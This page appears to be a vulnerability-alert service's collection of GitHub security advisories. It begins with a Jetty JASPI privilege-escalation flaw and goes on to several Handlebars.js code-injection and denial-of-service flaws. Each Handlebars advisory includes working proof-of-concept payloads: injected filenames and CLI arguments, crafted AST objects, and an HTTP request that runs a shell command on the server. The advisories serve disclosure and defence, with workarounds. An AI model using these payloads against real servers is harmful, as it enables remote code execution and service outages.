The root cause is a failure to consistently clear authentication metadata stored in ThreadLocal during certain error or incomplete authentication flows. Specifically, after a GroupPrincipalCallback is persisted into the ThreadLocal, the authentication process may exit prematurely — before the ThreadLocal storage is cleared — if a mandatory CallerPrincipalCallback is missing or an exception occurs. This allows a subsequent, unprivileged user processed by the same worker thread to inherit these residual security roles, leading to Broken Access Control and Privilege Escalation.

See also attached PDF.

Impact An unauthenticated user may gain ungrated privileges from a previous request (privilege escalation).

Patches No patches yet.

Workarounds Do not use Jetty's JASPI.

1 / 3
Source: GitHub
First published (updated )
Severity
8.3
EPSS
0.02%
XSS, Code Injection
AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

javascript // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

javascript // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

javascript // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

javascript // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

bash mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned

Namespace vector:

bash node bin/handlebars templates -o out.js \ -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")'

CommonJS vector:

bash node bin/handlebars templates -o out.js \ -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")'

AMD vector:

bash node bin/handlebars templates -o out.js -a \ -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")'

Workarounds

- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. - Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. - Audit template filenames in any repository or package that is consumed by an automated build pipeline.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.04%
Code Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.

Description

The vulnerable code path spans two functions in lib/handlebars/runtime.js:

resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.

invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.

Minimum prerequisites: 1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent. 2. The adversary can set the value of the looked-up context property to a crafted object.

In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.

Proof of Concept

javascript const Handlebars = require('handlebars');

const vulnerableTemplate = {{> (lookup . "payload")}};

const maliciousContext = { payload: { call: true, // bypasses the primary resolvePartial branch type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Injected code breaks out of the generated function's argument list depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//", }, }, ], }, };

Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: object -> dynamic partial -> RCE

Workarounds

- Use the runtime-only build (require('handlebars/runtime')). Without compile(), the fallback compilation path in invokePartial is unreachable. - Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. - Avoid dynamic partial lookups ({{> (lookup ...)}}) when context data is user-controlled.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service.

Description

In lib/handlebars/compiler/javascript-compiler.js, the code generated for a decorator invocation looks like:

javascript fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;

When "n" is not a registered decorator, lookupProperty(decorators, "n") returns undefined. The expression immediately attempts to call undefined as a function, producing:

TypeError: lookupProperty(...) is not a function

Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.

This inconsistency is notable: references to unregistered helpers produce a clean "Missing helper: ..." error, while references to unregistered decorators cause a hard crash.

Attack scenario: An attacker submits {{n}} as template content to any endpoint that calls Handlebars.compile(userInput)(). Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.

Proof of Concept

javascript const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x

// Any of these payloads crash the process Handlebars.compile('{{n}}')({}); Handlebars.compile('{{decorator}}')({}); Handlebars.compile('{{constructor}}')({});

Expected crash output: TypeError: lookupProperty(...) is not a function at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))

Workarounds

- Wrap compilation and rendering in try/catch: javascript try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); } - Validate template input before passing it to compile(). Reject templates containing decorator syntax ({{...}}) if decorators are not used in your application. - Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call compile() at request time.

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.07%
Code Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

javascript const Handlebars = require('handlebars'); const merge = require('handlebars-helpers').object().merge; Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = {{#inline "myPartial"}} {{>@partial-block}} {{>@partial-block}} {{/inline}} {{#>myPartial}} {{merge @parent partial-block=1}} {{merge @parent partial-block=payload}} {{/myPartial}} ;

const maliciousContext = { payload: { type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Code injected via depth field — breaks out of generated function call depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//", }, }, ], }, };

Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: RCE via @partial-block

Workarounds

- Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. - Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.25%
Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

javascript // Simplified representation of the vulnerable code path: // NumberLiteral.value is appended to the generated code without escaping compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('childprocess').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

Javascript import express from "express"; import Handlebars from "handlebars";

const app = express(); app.use(express.json());

app.post("/api/render", (req, res) => { let text = req.body.text; let template = Handlebars.compile(text); let result = template(); res.send(result); });

app.listen(2123);

POST /api/render HTTP/1.1 Content-Type: application/json Host: 127.0.0.1:2123

{ "text": { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": null }, "params": [ { "type": "PathExpression", "data": false, "depth": 0, "parts": [], "original": "this", "loc": null }, { "type": "NumberLiteral", "value": "{},{})) + process.getBuiltinModule('childprocess').execFileSync('id').toString() //", "original": 1, "loc": null } ], "escaped": true, "strip": { "open": false, "close": false }, "loc": null } ] } }

The response body will contain the output of the id command executed on the server.

Workarounds

- Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value. javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203